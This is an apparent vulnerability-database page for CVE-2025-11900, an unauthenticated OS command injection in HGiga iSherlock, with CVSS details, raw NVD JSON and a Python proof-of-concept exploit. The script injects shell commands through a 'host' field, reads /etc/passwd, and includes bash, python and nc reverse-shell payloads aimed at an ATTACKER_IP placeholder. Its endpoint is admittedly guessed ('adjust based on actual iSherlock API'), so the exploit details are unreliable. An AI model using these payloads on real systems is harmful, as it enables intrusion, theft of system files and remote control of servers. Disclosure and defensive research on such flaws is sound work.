Security Vulnerability Report
中文
CVE-2025-11900 CVSS 9.8 CRITICAL

CVE-2025-11900

Published: 2025-10-17 04:16:07
Last Modified: 2026-04-15 00:35:42

Description

The iSherlock developed by HGiga has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HGiga iSherlock 所有已知存在该漏洞的版本(具体版本范围需参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC Vulnerability: Unauthenticated OS Command Injection CVSS: 9.8 (CRITICAL) Author: Security Researcher """ import requests import sys from urllib.parse import urljoin # Target iSherlock server URL TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-isherlock-server" def exploit_command_injection(target_url, cmd): """ Exploit OS Command Injection vulnerability in iSherlock Inject arbitrary OS commands via vulnerable parameter """ # Vulnerable endpoint - adjust based on actual iSherlock API vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic") # Payload: inject OS command using shell metacharacters # Using semicolon (;) to chain commands and # to comment out the rest payload = f"127.0.0.1; {cmd} #" headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearcher)", "Content-Type": "application/json" } # Data to send - the vulnerable parameter accepts host/IP input data = { "host": payload, "action": "ping" } try: response = requests.post( vulnerable_endpoint, json=data, headers=headers, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def reverse_shell(target_url, attacker_ip, attacker_port): """ Establish reverse shell via command injection """ # Reverse shell payload (bash) reverse_shell_cmd = f"bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1" # Alternative reverse shell payloads: # python: python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' # nc: nc -e /bin/sh IP PORT payload = f"127.0.0.1; {reverse_shell_cmd} #" vulnerable_endpoint = urljoin(target_url, "/api/v1/diagnostic") data = {"host": payload, "action": "ping"} try: response = requests.post( vulnerable_endpoint, json=data, headers={"Content-Type": "application/json"}, timeout=5, verify=False ) return response except Exception: # Connection may drop due to reverse shell pass if __name__ == "__main__": print("[*] CVE-2025-11900 - HGiga iSherlock OS Command Injection PoC") print(f"[*] Target: {TARGET_URL}") # Step 1: Verify the vulnerability with a simple command print("\n[*] Step 1: Testing command injection with 'id' command...") exploit_command_injection(TARGET_URL, "id") # Step 2: Read sensitive files print("\n[*] Step 2: Attempting to read /etc/passwd...") exploit_command_injection(TARGET_URL, "cat /etc/passwd") # Step 3: Get system information print("\n[*] Step 3: Gathering system information...") exploit_command_injection(TARGET_URL, "uname -a") # Optional: Establish reverse shell # print("\n[*] Establishing reverse shell...") # reverse_shell(TARGET_URL, "ATTACKER_IP", 4444) print("\n[*] Exploit completed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11900", "sourceIdentifier": "[email protected]", "published": "2025-10-17T04:16:07.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The iSherlock developed by HGiga has an OS Command Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary OS commands and execute them on the server."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10441-00aaf-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10440-dd55d-1.html", "source": "[email protected]"}]}}